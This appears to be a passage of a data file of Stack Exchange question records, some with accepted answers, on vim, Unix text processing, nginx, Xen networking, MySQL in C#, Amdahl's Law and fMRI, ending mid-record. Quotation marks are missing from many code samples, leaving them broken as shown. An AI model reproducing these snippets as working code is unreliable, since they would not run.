{  "id": "_vi.4233"  , "question": "I heard someone had set up their editor to highlight python raw strings as regular expressions, e.g. for Django:urls(r'^site1/(\\d)*/new$'', ...)Unfortunately my googleing doesn't get me anything. Is this possible in vim?"  , "title": "Highlight python raw strings as regular expression"  , "tags": "syntax highlighting;regular expression;filetype python"  } 
{  "id": "_cs.65756"  , "question": "I have a homework problem: Calculate the overall speedup of a system that spends 40% of its time in calculations with a processor upgrade that provides for 100% greater throughput.Which is a pretty straightforward calculation with Amdahl's Law$S =  \\frac{1}{(1-f)+(\\frac{f}{k})} $$f$ = fraction of work performed by component = .40$k$ = the speedup of new component = 1.00$S$ = overall system speedupPlugging in my values I get$S =  \\frac{1}{(1-.4)+(\\frac{.4}{1})} $$S = 1 $Which from my understanding mean's there is no speed up in the system. I am unsure if my calculation is wrong or my understanding of Amdahl's Law because I would think this processor upgrade would've provided at least some system speedup.My book gives an example where $S = 1.22$ means a $22\\%$ increase in speed so I think I am interpreting the answer correctly, which implies I did my calculation wrong, but that also seems correct."  , "title": "Understanding Amdahl's Law calculation"  , "tags": "performance;program optimization"  , "accepted_answer": "100% greater throughput means a (local) speed-up by factor $k=2$."  } 
{  "id": "_codereview.172307"  , "question": "Is this a good way to solve the quiz Chessboard from http://eloquentjavascript.net/02_program_structure.html ?Write a program that creates a string that represents an 88 grid, using newline characters to separate lines. At each position of the grid there is either a space or a # character. The characters should form a chess board.When you have a program that generates this pattern, define a variable size = 8 and change the program so that it works for any size, outputting a grid of the given width and height.This is my code:  size = 10;         grid =         for (var i = 1; i <= size; i++) {      for (var j = 1; j <= size; j++) {        if (i % 2 === 0) {         grid+= #         } else {         grid+=  #        }      }      grid+= \\n    }            console.log(grid)"  , "title": "Eloquent JavaScript chessboard"  , "tags": "javascript;programming challenge;ascii art"  , "accepted_answer": "Fun question;you should write a function that takes a parameter instead of just writing the codeA chessboard has lots of repetition, take a minute to ponder how String.repeat could make this code much simpler.Your indentation is not perfect, consider using a site like http://jsbeautifier.org/I am not a big fan of var within the loop, I would declare var up front.This is a possible solution that provides the right size of the board:function createChessboardString(size){  const line = ' #'.repeat( size ),        even = line.substring(0,size),        odd = line.substring(1,size+1);  let   out = '';  while(size--){    out = out + ((size % 2) ? odd: even ) + '\\n';  } return out;}console.log(createChessboardString(8));You could consider for very large boards that the board in essence repeats odd + '\\n' + even, so you could repeat that as well. The problem for me is that there are too many corner cases to consider. So personally I would go for the above for any board size < 1000."  } 
{  "id": "_unix.319985"  , "question": "Which is the minimum version of the linux-kernel implementing the system call nanosleep? (sys_nanosleep)"  , "title": "Minimum version for syscall nanosleep"  , "tags": "linux kernel;syscalls"  , "accepted_answer": "It was added in the late 1990s (in ncurses since February 1998).  Mailing list comments by David Dawes a year earlier said at that point it was only available in Solaris.According to Linux IO mini HOWTO (December 1997), it was available in the 2.0.x kernels, and was added after the previous version of the HOWTO on March 30, 1997.  I found a French translation of the manual page dated April 1997.From that, it seems it was added in April 1997, which would be 2.0.30 (see Linux Kernel Version History: 2.0 series kernels )."  } 
{  "id": "_unix.324093"  , "question": "I have to count the number of values that are between 0 and 0.05 in column 11 of a dataset. How do I go about doing this?"  , "title": "Count number of values within a range in a specific column"  , "tags": "linux;text processing;numeric data"  } 
{  "id": "_unix.307723"  , "question": "I have a small AWS EC2 instance that is a fairly simple LAMP setup.  I am experimenting with migrating the MySQL install to a remote AWS RDS instance, however I wish to mask the remote IP so that the db looks local (future plans).  For this my intention is to use mysql::router which seems to do exactly what I want.  I can have it listen on localhost:3306 and then route all the traffic to the MySQL host on the other box.My configuration for the router is very simple at the moment, and I have it listening on port 3307 so as to test without taking out the currently running MySQL instance.Rest of config is stock, this is my routing section[routing:aws]bind_address = 127.0.0.1:3307connect_timeout = 30destinations = XXXXXX.cwhpshcru9zi.eu-west-1.rds.amazonaws.commode = read-writeNow I have tried dumping a db and then connecting with interactive agent via the mysql::router and reimporting the data, the creates all work fine, and some small inserts, but when it gets to a substantial insert the connection drops (and VERY quickly, so not hitting even a second in time wise).I thought it might be the RDS instance, or some incompatibility with the dump, so I attempted exactly the same process but connecting directly to the remote MySQL instance and attempted the import again, no errors this time, all data created.I switched on debug logging in mysql router and see the following popping up:2016-09-03 21:59:41 DEBUG   [7f6248b31700] Trying server XXXXXXX.cwhpshcru9zi.eu-west-1.rds.amazonaws.com:3306 (index 0)2016-09-03 21:59:41 DEBUG   [7f6248b31700] [routing:aws] [127.0.0.1]:45420 - [52.49.XXX.XXX]:33062016-09-03 21:59:41 DEBUG   [7f6248b31700] [routing:aws] Routing stopped (up:1465b;down:6638b)2016-09-03 21:59:42 DEBUG   [7f6249332700] [routing:aws] Routing stopped (up:520b;down:401b)So it looks like for some reason mysql::router is hitting a problem? Has anyone else experienced this issue? is there a fix?So far I have migrated one site, and the site seems to function fine through the router, just the import of data didn't work.Thanks"  , "title": "mysql::router losing connection during data import"  , "tags": "mysql;aws"  } 
{  "id": "_codereview.158131"  , "question": "I am writing this question to get some advice on improving this Database Management library. I'll explain a little about it:Database Manager - DatabaseManager is the holder, it generates new connections when the NewConnection is called, it returns a new DatabaseConnection with the saved connection string.Database Connection - DatabaseConnection is a connection containing a new connection that's created on each call from DatabaseManager.Usage:using (var databaseConnection = Serber.GetDatabase().NewDatabaseConnection){    databaseConnection.SetQuery(SELECT * FROM `table` WHERE `enabled` = '1' ORDER BY `name` DESC;);    databaseConnection.Open();    using (MySqlDataReader Reader = databaseConnection.ExecuteReader())    {        while (Reader.Read())        {            try            {                // do some work            }            catch (DatabaseException ex)            {                log.Error(Unable to load item for ID [ + Reader.GetInt32(id) + ], ex);            }        }    }}DatabaseManager:internal sealed class DatabaseManager{    private readonly string _connectionString;    public DatabaseManager()    {        var connectionString = new MySqlConnectionStringBuilder        {            ConnectionLifeTime = (60 * 5),            ConnectionTimeout = 30,            Database = Hariak.HariakServer.Config.GetConfigValueByKey(database.mysql.database),            DefaultCommandTimeout = 120,            Logging = false,            MaximumPoolSize = uint.Parse(Hariak.HariakServer.Config.GetConfigValueByKey(database.mysql.pool_maxsize)),            MinimumPoolSize = uint.Parse(Hariak.HariakServer.Config.GetConfigValueByKey(database.mysql.pool_minsize)),            Password = Hariak.HariakServer.Config.GetConfigValueByKey(database.mysql.password),            Pooling = Hariak.HariakServer.Config.GetConfigValueByKey(database.mysql.pooling) == 1,            Port = uint.Parse(Hariak.HariakServer.Config.GetConfigValueByKey(database.mysql.port)),            Server = Hariak.HariakServer.Config.GetConfigValueByKey(database.mysql.hostname),            UseCompression = false,            UserID = Hariak.HariakServer.Config.GetConfigValueByKey(database.mysql.username),        };        _connectionString = connectionString.ToString();    }    public bool ConnectionWorks()    {        try        {            using (var databaseConnection = NewDatabaseConnection)            {                databaseConnection.OpenConnection();            }            return true;        }        catch (Exception)        {            return false;        }    }    public DatabaseConnection NewDatabaseConnection => new DatabaseConnection(_connectionString);}DatabaseConnection:internal sealed class DatabaseConnection : IDisposable{    private static readonly ILogger Logger = LogManager.GetCurrentClassLogger();    private MySqlConnection _connection;    private List<MySqlParameter> _parameters;    private MySqlCommand _command;    public DatabaseConnection(string connectionString)    {        _connection = new MySqlConnection(connectionString);        _command = _connection.CreateCommand();    }    public void OpenConnection()    {        if (_connection.State == ConnectionState.Open)        {            throw new InvalidOperationException(Connection already open.);        }        _connection.Open();    }    public void AppendParameter(string key, object value)    {        if (_parameters == null)        {            _parameters = new List<MySqlParameter>();        }        _parameters.Add(new MySqlParameter(key, value));    }    public void SetQuery(string query)    {        _command.CommandText = query;    }    public int ExecuteNonQuery()    {        if (_parameters != null && _parameters.Count > 0)        {            _command.Parameters.AddRange(_parameters.ToArray());        }        try        {            return _command.ExecuteNonQuery();        }        catch (MySqlException e)        {            Logger.Error(e, Database error was logged.);            return 0;        }        finally        {            _command.CommandText = string.Empty;            _command.Parameters.Clear();            if (_parameters != null && _parameters.Count > 0)            {                _parameters.Clear();            }        }    }    public int GetLastId()    {        try        {            return (int)_command.LastInsertedId;        }        catch (MySqlException e)        {            Logger.Error(e, Database error was logged.);            return 0;        }        finally        {            _command.CommandText = string.Empty;        }    }    public int ExecuteSingleInt()    {        try        {            if (_parameters != null && _parameters.Count > 0)            {                _command.Parameters.AddRange(_parameters.ToArray());            }            return int.Parse(_command.ExecuteScalar().ToString());        }        catch (MySqlException e)        {            Logger.Error(e, Database error was logged.);            return 0;        }        finally        {            _command.CommandText = string.Empty;            _command.Parameters.Clear();            if (_parameters != null && _parameters.Count > 0)            {                _parameters.Clear();            }        }    }    public bool TryExecuteSingleInt(out int value)    {        try        {            if (_parameters != null && _parameters.Count > 0)            {                _command.Parameters.AddRange(_parameters.ToArray());            }            var scalar = _command.ExecuteScalar();            if (scalar == null)            {                value = 0;                return false;            }            value = int.Parse(scalar.ToString());            return true;        }        catch (MySqlException e)        {            Logger.Error(e, Database error was logged.);            value = 0;            return false;        }        finally        {            _command.CommandText = string.Empty;            _command.Parameters.Clear();            if (_parameters != null && _parameters.Count > 0)            {                _parameters.Clear();            }        }    }    public MySqlDataReader ExecuteReader()    {        if (_parameters != null && _parameters.Count > 0)        {            _command.Parameters.AddRange(_parameters.ToArray());        }        try        {            return _command.ExecuteReader();        }        catch (MySqlException e)        {            Logger.Error(e, Database error was logged.);            return null;        }        finally        {            _command.CommandText = string.Empty;            _command.Parameters.Clear();            if (_parameters != null && _parameters.Count > 0)            {                _parameters.Clear();            }        }    }    public DataSet ExecuteDataSet()    {        if (_parameters != null && _parameters.Count > 0)        {            _command.Parameters.AddRange(_parameters.ToArray());        }        var dataSet = new DataSet();        try        {            using (var adapter = new MySqlDataAdapter(_command))            {                adapter.Fill(dataSet);            }            return dataSet;        }        catch (MySqlException e)        {            Logger.Error(e, Database error was logged.);            return null;        }        finally        {            _command.CommandText = string.Empty;            _command.Parameters.Clear();            if (_parameters != null && _parameters.Count > 0)            {                _parameters.Clear();            }        }    }    public DataTable ExecuteTable()    {        var dataSet = ExecuteDataSet();        return dataSet.Tables.Count > 0 ? dataSet.Tables[0] : null;    }    public DataRow ExecuteRow()    {        var dataTable = ExecuteTable();        return dataTable.Rows.Count > 0 ? dataTable.Rows[0] : null;    }    public void Dispose()    {        Dispose(true);    }    private void Dispose(bool disposing)    {        if (!disposing)        {            return;        }        if (_connection.State == ConnectionState.Open)        {            _connection.Close();            _connection = null;        }        if (_parameters != null)        {            _parameters.Clear();            _parameters = null;        }        if (_command != null)        {            _command.Dispose();            _command = null;        }    }}"  , "title": "MySQL database library with multiple connections"  , "tags": "c#;mysql"  , "accepted_answer": "Your code looks great to me at first glance. I have some tips for you that could increase the performance of your database manager:Go asyncI wouldn't say that the official ADO.NET MySQL connector is bad. It does pretty well what it has to, but let's admit it, async programming is not that rare today. You should take a look at one particular connector repo on Github, which is a fresh, clean and fully async ADO.NET MySQL connector that also supports .NET Core.Move the parameter and the command holder outside your DatabaseConnection class. You might not need a holder for parameters during every query. If you move those back to your connector (DatabaseManager) and just grab one when needed, you can spare some allocated space.Like this:DatabaseManager:public MySqlConnection CreateConnectionObject() => Activator.CreateInstance(typeof(MySqlConnection)) as MySqlConnection;public MySqlCommand CreateCommandObject() => Activator.CreateInstance(typeof(MySqlCommand)) as MySqlCommand;public MySqlParameter CreateParameterObject() => Activator.CreateInstance(typeof(MySqlParameter)) as MySqlParameter;RefactorOnly make methods and variables public, if they really must be exposed to the environment. Any internal method that shouldn't be called from the outside has to be private or protected.It's better, if you have only one DatabaseManager instance (which is the connector) and all the other are DatabaseConnection instances that link back to the DatabaseManager (which are the individual database interfaces and should only one per database exist). First you should create your DatabaseManager connector, then you create one DatabaseConnection for each database and if you would like to commit a query on that particular database, you can instruct the appropriate DatabaseConnection to do it.Break your code into sections depending on the MySQL commands. Instead of one global query handler, you would have different methods for different actions (Select, Insert, Delete etc.). It results in a much cleaner code. Also it's great, if you have one MySqlCommand builder method, that decides whether parameters are needed or not.See example below for what I mean:private MySqlCommand CreateSqlCommand(MySqlConnection Connection, string Sql, params object[] Args){    MySqlCommand SqlCommand = connector.CreateCommandObject(); // connector = DatabaseManager instance    SqlCommand.Connection = Connection;    SqlCommand.CommandText = Sql;    SqlCommand.CommandTimeout = 300;    if (Args.Length > 0)    {        MySqlParameter[] Params = new MySqlParameter[Args.Length];        for (var i = 0; i < Args.Length; i++)        {            MySqlParameter Param = connector.CreateParameterObject(); // connector = DatabaseManager instance            Param.ParameterName = ;            Param.Value = Args[i];            Params[i] = Param;        }        SqlCommand.Parameters.AddRange(Params);    }    return SqlCommand;}public async Task<MySqlDataReader> SelectAsync(string Sql, params object[] Args){    try    {        using (MySqlCommand Command = CreateSqlCommand(CreateConnection(), Sql, Args))            return await Command.ExecuteReaderAsync();    }    catch (Exception ex)    {        Console.WriteLine(ex.ToString());        return null;    }}Coding styleIf an if, using, while or for statement is followed by a single action, then scoping ({ and }) is not needed.Commenting is useful, when not overused. Personally, I dislike commenting everything, it makes my code messy and difficult to work with. If you name your variables after their purpose (as you did), comments are not that necessary, since the code speaks for itself."  } 
{  "id": "_unix.169521"  , "question": "I have the following data from which I mean to extract only those lines which contain bb only. Not b or bbb or anything else just bb.abbabbbaabbccaabababbbbcNow when I use the following combination of commands-:cat file1 | grep bb[^b]I am getting the output as all the lines in my sample file-:abbabbbaabbccaabababbbbcThe expected I want is -:(The lines that contain only bb)abbaabbccWhat is the regular expression that can achieve this ?abbbabb is not valid. I am looking for lines that contain only bb and no other pattern of b. The line will contain only two, consecutive b and no other b characters at all."  , "title": "regex - Searching for only character pairs"  , "tags": "regular expression;patterns"  , "accepted_answer": "I guess the most straight-forward way is:grep '^[^b]*bb[^b]*$' file1Btw, for commands like grep that accept a file name argument it's more efficient to dogrep '^[^b]*bb[^b]*$' file1orgrep '^[^b]*bb[^b]*$' < file1(the latter working if no file argument is supported, too)thancat file1 | grep '^[^b]*bb[^b]*$'and often more flexible."  } 
{  "id": "_unix.254761"  , "question": "I have a python script$ cat ~/script.pyimport sysfrom lxml import etreefrom lxml.html import parsedoc = parse(sys.argv[1])title = doc.find('//title')title.text = span2.text.strip()print etree.tostring(doc)I can run the script on an individual file by issuing something like$ python script.py foo.html > new-foo.htmlMy problem is that I have a directory ~/webpage that contains hundreds of .html files scattered throughout sub-directories. I would like to run ~/script.py on all of these html files. How can I do this?I'm aware that I can list all the .html files under ~/webpage/ by issuing $ find ~/webpage/ -name *.htmlbut I'm not quite sure how to use this list to run my script on them."  , "title": "How can I run this python script on all html files under a directory?"  , "tags": "bash;shell script;scripting;python"  } 
{  "id": "_unix.344070"  , "question": "I need some help with these text files. (fields are separated by commas)$ cat File1.seed389,0,390,1,391,0,392,0,393,0,SEED394,0,395,1,$ cat File2.seed223,0,224,1,225,0,226,1,227,0,SEED228,1,$ cat File3.seed55,0,56,0,SEED57,1,58,0,59,1,60,0,and the desired output would be:389,0,,223,0,,,,,0390,1,,224,1,,,,,2391,0,,225,0,,,,,0392,0,,226,1,,55,0,,1393,0,SEED,227,0,SEED,56,0,SEED,0394,0,,228,1,,57,1,,2395,1,,,,,58,0,,1,,,,,,59,1,,1,,,,,,60,0,,0As you can see the files are aligned by the pattern SEED, and then sum all the 2nd columns of the files horizontally adding the result in a last column."  , "title": "compare and match multiple files by pattern"  , "tags": "text processing;files;scripting"  } 
{  "id": "_unix.33729"  , "question": "Recently, I look for scripts to take this:This;Is;First;Line;and make it like:This Is First Line"  , "title": "Need help to make rows into column with awk or sed"  , "tags": "linux;scripting"  } 
{  "id": "_unix.51826"  , "question": "There's a new server that is assigned 5 IP addresses. I want to use Xen to run several VMs with various services. This is my first attempt to install Xen, I use this tutorial as a guideline. Stuck in the very beginning: they talk about replacing a single ip on an eth0 with a bridge br0. My server has 5: eth1 and 4 aliases eth1:1 .. eth1:4. How should the network config look like?bridge that replaces eth1 completely, and then 4 aliases added to the bridge?bridge can only replace a single IP out of the 5?Pardon my lame questions, first time in this forest."  , "title": "Xen, bridge and multiple IPs on CentOS"  , "tags": "centos;routing;xen;bridge"  , "accepted_answer": "1 advice with xen, if you decide to use classic bridge (vs ovs), set it manually as the scripts didn't get it right for me at first (with the single nic being locked out)something like this should get bridging to work:auto lo br0iface lo inet loopbackiface br0 inet static        address 192.168.128.7        netmask 255.255.255.128        network 192.168.128.0        broadcast 192.168.128.127        gateway 192.168.128.126        dns-nameservers 172.16.2.200        bridge_ports eth1        bridge_stp off        bridge_fd 0        #bridge_hello 2        #bridge_maxage 12iface eth1 inet manualNow on every guest os you will get an 'eth0' interface (rfr. bridge_fd=0), if you assign a ip address to that interface, it will be on the br0 bridge and will be able to do everything like the host can, given the fact that nothing is blocking it (netfilter etc)for completeness sake, then you edit /etc/sysctl.conf (assuming debian here,sry) and set this as it might be needed for your networknet.ipv4.conf.eth1.proxy_arp = 1net.bridge.bridge-nf-call-ip6tables = 0net.bridge.bridge-nf-call-iptables = 0net.bridge.bridge-nf-call-arptables = 0and do sysctl -p to commit them.  This disables netfilter from intervening on the bridge.  Alternatively you could use iptables to do this too. from top of my head, something like this (they might not all be needed), but since I don't use these, it's just to give an idea:iptables -I FORWARD -m physdev --physdev-is-bridged -j ACCEPTiptables -I FORWARD -m physdev --physdev-in vif1.0 -j ACCEPTThat vif1.0 (or perhaps named a bit different) interface will be shown once your guest os is started, you can check the network on the host with the classic tools (ip, ifconfig etc)."  } 
{  "id": "_unix.202588"  , "question": "I run Gnome, which has pretty good support for my HiDPI screen. However, when I run QT apps I can't seem to find a way to scale the fonts. Is there a way to do this without installing a full version of KDE?"  , "title": "How can I set the default font size for all Qt5 apps?"  , "tags": "configuration;fonts;qt"  , "accepted_answer": "You can try this recipe from the archwikiQt5 applications can often be run at higher dpi by setting the QT_DEVICE_PIXEL_RATIO environment variable. Note that the variable has to be set to a whole integer, so setting it to 1.5 will not work.This can for instance be enabled by creating a file /etc/profile.d/qt-hidpi.shexport QT_DEVICE_PIXEL_RATIO=2And set the executable bit on it. "  } 
{  "id": "_unix.268835"  , "question": "I am running Plesk on DebianSince i installed Plesk almost 6 months ago every time i restarted the server nginx would fail to start on boot and i would have to go and manually restart it. Now today i needed to restart the server again but this time i can't even manually restart nginx.      I get this:Starting nginx (via systemctl): nginx.serviceJob for nginx.service failed.See 'systemctl status nginx.service' and 'journalctl -xn' for details.failed!systemctl status nginx.service returns: nginx.service - Startup script for nginx serviceLoaded: loaded (/lib/systemd/system/nginx.service; enabled)Active: failed (Result: exit-code) since Wed 2016-03-09 23:00:15 MST; 25min agoProcess: 4723 ExecStartPre=/usr/sbin/nginx -t (code=exited, status=1/FAILURE)Process: 4720 ExecStartPre=/usr/bin/test $NGINX_ENABLED = yes (code=exited, status=0/SUCCESS)Mar 09 23:00:15 fineartschool.net nginx[4723]: nginx: the configuration file /etc/nginx/nginx.conf syntax is okMar 09 23:00:15 fineartschool.net nginx[4723]: nginx: [emerg] bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)Mar 09 23:00:15 fineartschool.net nginx[4723]: nginx: configuration file /etc/nginx/nginx.conf test failedMar 09 23:00:15 fineartschool.net systemd[1]: nginx.service: control process exited, code=exited status=1Mar 09 23:00:15 fineartschool.net systemd[1]: Failed to start Startup script for nginx service.Mar 09 23:00:15 fineartschool.net systemd[1]: Unit nginx.service entered failed state.And journal -xn reads-- Logs begin at Wed 2016-03-09 22:49:30 MST, end at Wed 2016-03-09 23:10:01 MST. --Mar 09 23:05:01 fineartschool.net CRON[6067]: pam_unix(cron:session): session closed for user rootMar 09 23:09:01 fineartschool.net CRON[7188]: pam_unix(cron:session): session opened for user root by (uid=0)Mar 09 23:09:01 fineartschool.net CRON[7189]: (root) CMD (  [ -x /usr/lib/php5/sessionclean ] && /usr/lib/php5/sessionclean)Mar 09 23:09:01 fineartschool.net CRON[7188]: pam_unix(cron:session): session closed for user rootMar 09 23:09:47 fineartschool.net CRON[4606]: pam_unix(cron:session): session closed for user rootMar 09 23:10:01 fineartschool.net CRON[7505]: pam_unix(cron:session): session opened for user root by (uid=0)Mar 09 23:10:01 fineartschool.net CRON[7506]: pam_unix(cron:session): session opened for user root by (uid=0)Mar 09 23:10:01 fineartschool.net CRON[7507]: (root) CMD (/opt/psa/admin/bin/php -dauto_prepend_file=sdk.php '/opt/psa/admin/plib/modules/magicspam/script|Mar 09 23:10:01 fineartschool.net CRON[7508]: (root) CMD (/opt/psa/admin/bin/php -dauto_prepend_file=sdk.php '/opt/psa/admin/plib/modules/plesk-mobile/scrMar 09 23:10:01 fineartschool.net CRON[7505]: pam_unix(cron:session): session closed for user rootand the nginx error log2016/03/09 22:28:57 [emerg] 952#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:31:14 [emerg] 2675#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:34:56 [emerg] 914#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:38:36 [emerg] 2670#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:39:26 [emerg] 941#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:42:17 [emerg] 2795#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:42:32 [emerg] 2912#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:46:17 [emerg] 4026#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:46:26 [emerg] 4092#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:49:49 [emerg] 795#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 22:52:31 [emerg] 2517#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)2016/03/09 23:00:15 [emerg] 4723#0: bind() to 64.4.6.100:80 failed (99: Cannot assign requested address)Any help would be greatly appreciated!Thanks in advance!"  , "title": "nginx won't restart"  , "tags": "debian;nginx;plesk"  , "accepted_answer": "Well this is embarrassing.So the after looking at the recurring pattern (99: Cannot assign requested address) I decided to look at the servers assigned IP Address and it turns out it didn't pick up it's static IP Address instead picked up a dynamic IP Address. After correcting this i was able to restart nginx. Hopefully someone else will be able to benefit from this. "  } 
{  "id": "_cs.68241"  , "question": "I honestly haven't an idea how to proof that eventhough I can understand the background, could someone help me?"  , "title": "Why is DCFL not closed under kleene star?"  , "tags": "context free;pushdown automata;kleene star"  } 
{  "id": "_unix.16958"  , "question": "It's been a while since my web-browsing has really suited me. What I would really like is:A javascript-enabled web browser with a tab-based browsing system that can be controlled simultaneously using a console and a GUI.For example, I'd like to be able to...1) open a bunch of tabs2) go to the console and tell it something like 'copy the url open in each tab and write it, along with the html, to a file, for each open tab'in other words, I want to be able to browse with tabs at my leisure, and then write scripts that iterate over each tab. Does anything like that exist?"  , "title": "is there anything like this web browser in the debian/ubuntu repositories?"  , "tags": "software rec;browser;web"  , "accepted_answer": "I would suggest that uzbl is just the right ninja magic for this. It is a scriptable, console-controllable single-purpose browser. Being based on webkit, its rendering and javascript support is first class, but it follows the unix phylosophy of doing one thing and doing it well while allowing other programs to push data in and out.There is a wrapper for it that adds support for a tab-like interface as well."  } 
{  "id": "_softwareengineering.328520"  , "question": "I have an excel like table with a should value and an is value for each day of a month:descrip. |        | 01 | 02 | 03 | 04 |_______________________________________column 1 | should | 60 |  0 | 60 |  0 |         | is     | 60 |  0 | 60 | 60 |_______________________________________column 2 | should |  0 | 15 |  0 | 15 |column 3 | is     |  0 |  0 |  0 | 15 |I need the values of this table for two purposes: Extract some statistics (total; should / is ratio; etc)Based on the values see if the actions (entry in column) are doneJust onceOnce every weekdaily periodicallyShould I get the statistics with SQL queries or calculate them with JavaScript based on the JSON response? What are the (dis)advantagesSome additional information:I'm using SpringBoot with JPA and a PostgreSQL database.Tables:ChartColumnAction (should / is values)Here is a part of my JSON response:columns: [{        id: 12,        should: [{            id: 13,            date: 1438552800000,            min: 60        }],        is: []        }    }]"  , "title": "Statistics with SQL queries or in JavaScript"  , "tags": "patterns and practices"  } 
{  "id": "_webmaster.107535"  , "question": "I am building a web app and trying to add two languages to the website. So I will make the same documents ending in -gr. Some examples of the files look like this:English Language paths:www.example.com/index.htmlwww.example.com/Blog.htmlGreek Language path:www.example.com/index-gr.htmlwww.example.com/Blog-gr.htmlIs it possible to rename the Greek files like the following:www.example.com/blog-gr.html/to something like:www.example.com/blog/greg: Remove the -gr of all the Greek documents and add /gr at the end.Also only for index file,  example.com/index-gr.html should be example.com/gr instead.So i am asking for the .htaccess code to replace those greek file urls ending in -gr.html to /gr"  , "title": "Rename translated documents into ending language initials"  , "tags": "htaccess;url;apache;url rewriting;translation"  , "accepted_answer": ".htaccess:    RewriteEngine on    RewriteBase /    RewriteRule ^(.*)\\/gr$ $1-gr.html [NC,L]HTML:Add this inside the head tags of every greek file (replacing index-gr.html with your current file): <base href=https://gragop.herokuapp.com/index-gr.html>Change the URLs that link to the greek files to: filename.html/gr eg: <a href=index.html/gr>Greek file </a>"  } 
{  "id": "_unix.353934"  , "question": "I'm trying to create a simple SSH tunnel using OpenSSH.I have a VPS server listening on port 4444 for SSH.From my local Ubuntu machine, I wish to create the SSH tunnel to http://edition.cnn.com/.I use the following command:ssh -L 5050:edition.cnn.com:80 x.x.x.x -p 4444where x.x.x.x is my VPS IP.I then press Enter, and wait a couple of seconds.Instead of the tunnel being created, I'm logged in via SSH to my VPS.What is wrong with my command syntax? Everywhere I look I find that I invoke it correctly."  , "title": "SSH Tunneling not working properly"  , "tags": "ssh tunneling;openssh"  } 
{  "id": "_unix.192385"  , "question": "Due to historical reason, I am bound to use kernel 3.0 for my existing custom operating system.Now, I'm trying to use this OS onto new board, which requires radeon kernel module for native X driver to start the GUI.Problem is that, required radeon do not support the intended chipset board. But the same kernel driver of 3.12 do support the said chipset.How can I compile 3.12's (for argument) radeon kernel module against 3.0 ?[ One way is to replace source directory /usr/src/3.12/kernel/drivers/gpu/drm/radeon at /usr/src/3.0/kernel/drivers/gpu/drm/radeon. Though, I haven't tried this, will try it. ]"  , "title": "Kernel Module Upgrade"  , "tags": "linux;radeon"  } 
{  "id": "_cogsci.8650"  , "question": "It is true that blood flows to wherever the brain is most activated and does fMRI measure the blood flow inside of the brain through oxygen content?"  , "title": "What does fMRI measure exactly"  , "tags": "measurement;neuroimaging;fmri"  , "accepted_answer": "As a slight modification of your statement: blood flow increases wherever activity in the brain increases. The type of fMRI that uses this principle is blood-oxygenation-level-dependent fMRI or  BOLD fMRI. MRI in general detects signals by picking up proton signals from water molecules. This proton signal is basically caused by magnetizing the protons causing their spin to change. A subsequent powerful radiowave disrupts this spin and the following relaxation phase of the protons to the original state can be detected by MRI. Water, and hence protons are everywhere in the body, including the brain and the blood. Deoxygenated hemoglobin (hemoglobin without oxygen) in blood changes the proton signal in its immediate surroundings due to the magnetic properties of deoxyhemoglobin. This is caused by the fact that deoxygenated hemoglobin is paramagnetic and decreases the signal that protons release. In fact, it has been regarded as noise in structural MRI scans. Oxygenated hemoglobin does not have this property. Radiopaedia has a nice explanation as to exactly how the BOLD signal is used in BOLD fMRI, and I quote:When a specific region of the cortex increases its activity in response to a task, the extraction fraction of oxygen from the local capillaries leads to an initial drop in oxygenated haemoglobin [...]. Following a lag of 2-6 seconds, cerebral blood flow (CBF) increases, delivering a surplus of oxygenated haemoglobin, washing away deoxyhemoglobin. It is this large rebound in local tissue oxygenation which is imaged. So to sum up: brain activity increases the BOLD signal by picking up oxygen-changes after an increased blood flow to that specific part of the brain. So your statement that fMRI measures blood flow is technically incorrect. Doppler techniques can be used to measure the actual flow of blood."  } 
{  "id": "_cs.71674"  , "question": "Most of the operations in computer are using floating point arithmetic.Put it simply why a Floating Point Unit alone is not sufficient? Can we do away with ALU?Is FP operations are resource intensive alone be the reason for this, over the advantages provided by FP operations?"  , "title": "Why a separate ALU is needed, since any integer can be represented as floating point numbers?"  , "tags": "floating point"  } 
{  "id": "_hardwarecs.1918"  , "question": "Ok so I am going to be building a smart home using a small Raspberry possibly but I needed some recommendations! I hope this is the right place to post. But basically here is what i was thinking:Possibly use a Relay Switch to control the lights in my room, but use a transmitter and receiver to make it go on and off using the Raspberry Pi. But i am not sure exactly HOW to do it. What would the layout be or the schematics?Thank you everyone for helping!"  , "title": "IoT Smart home recommendation - controlling lights"  , "tags": "raspberry pi;smart device"  } 
{  "id": "_codereview.115591"  , "question": "I've been told that using God objects at all is a Bad ThingIn object oriented languages, God objects know all, they control too much. I'm trying to build a game (or for the scope of this question a generic app with a GUI) and I'm using a Main object that holds all the other objects needed to make it all work.At the moment (and probably forevermore), my main.py module contains only functions that initialise the other modules in order to setup my app.The other modules setup are managers of different things and most inherit from a class ManagerBase which among other things can retrieve other managers and from that, the contents of said managers.#Import modulesimport pygameimport sys, osimport assets.config.config_managerimport assets.events.event_managerimport assets.events.ai_event_managerimport assets.font.font_managerimport assets.ui.subscription_managerimport assets.ui.screenimport assets.ui.keyboard_injectorimport assets.entity.entity_managerimport assets.databinCAPTION = Generic Applicationclass Main(object):  def __init__(self):    self.args = sys.argv    self.debug = debug in self.args  def init_databin(self):    self.databin = assets.databin.Databin()  def init_config_manager(self):    self.config_manager = assets.config.config_manager.ConfigManager()    self.fps_limit = self.config_manager[video_config,fps_limit]    self.show_fps = self.config_manager[video_config, show_fps]    if not self.show_fps:      self.blit_fps = lambda: None  def init_screen(self):    pygame.init()    self.screen = assets.ui.screen.Screen(pygame.display.set_mode(*self.config_manager.get_screen_properties()), pygame)    pygame.display.set_caption(CAPTION)    if self.config_manager[video_config][screen_properties][fullscreen]:      pygame.mouse.set_visible(False)    self.screen.blit(self.screen.old_im_load(os.path.join(assets, loading.png)), (0,0))    self.update_screen()    self.clock = pygame.time.Clock()  def init_event_manager(self):    self.event_manager = 